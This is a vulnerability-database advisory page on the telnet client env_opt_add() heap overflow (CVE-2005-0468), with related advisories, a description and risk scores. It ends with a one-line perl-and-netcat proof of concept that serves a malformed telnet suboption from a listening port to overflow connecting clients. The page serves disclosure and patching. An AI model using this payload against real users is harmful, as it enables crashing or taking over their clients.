Multiple Vendor Telnet Client - Env_opt_add Heap Buffer Overflow
| Reporter | Title | Published | Views | Family All 67 |
|---|---|---|---|---|
 | CAN-2005-0468 | 6 Aug 202409:39 | – | cve |
| CVE-2005-0468 | 28 Mar 200505:00 | – | cve |
 | CentOS 3 : krb5 (CESA-2005:330) | 3 Jul 200600:00 | – | nessus |
| Debian DSA-703-1 : krb5 - buffer overflows | 2 Apr 200500:00 | – | nessus |
| Debian DSA-731-1 : krb4 - buffer overflows | 17 Jun 200500:00 | – | nessus |
| Fedora Core 2 : krb5-1.3.6-4 (2005-269) | 19 May 200500:00 | – | nessus |
| Fedora Core 3 : krb5-1.3.6-5 (2005-270) | 24 Sep 201200:00 | – | nessus |
| Fedora Core 3 : telnet-0.17-32.FC3.2 (2005-274) | 12 Sep 200500:00 | – | nessus |
| Fedora Core 2 : telnet-0.17-28.FC2.1 (2005-277) | 19 May 200500:00 | – | nessus |
| GLSA-200504-01 : telnet-bsd: Multiple buffer overflows | 2 Apr 200500:00 | – | nessus |
10
source: https://www.securityfocus.com/bid/12919/info
Multiple vendors' Telnet client applications are reported prone to a remote buffer-overflow vulnerability. This vulnerability reportedly occurs in the 'env_opt_add()' function in the 'telnet.c' source file, which is apparently common source for all the affected vendors.
A remote attacker may exploit this vulnerability to execute arbitrary code on some of the affected platforms in the context of a user that is using the vulnerable Telnet client to connect to a malicious server.
perl -e 'print "\377", "\372\42\3\377\377\3\3" x 43, "\377\360"' | nc -l 23Data
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08 May 2013 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 27.5
EPSS0.27073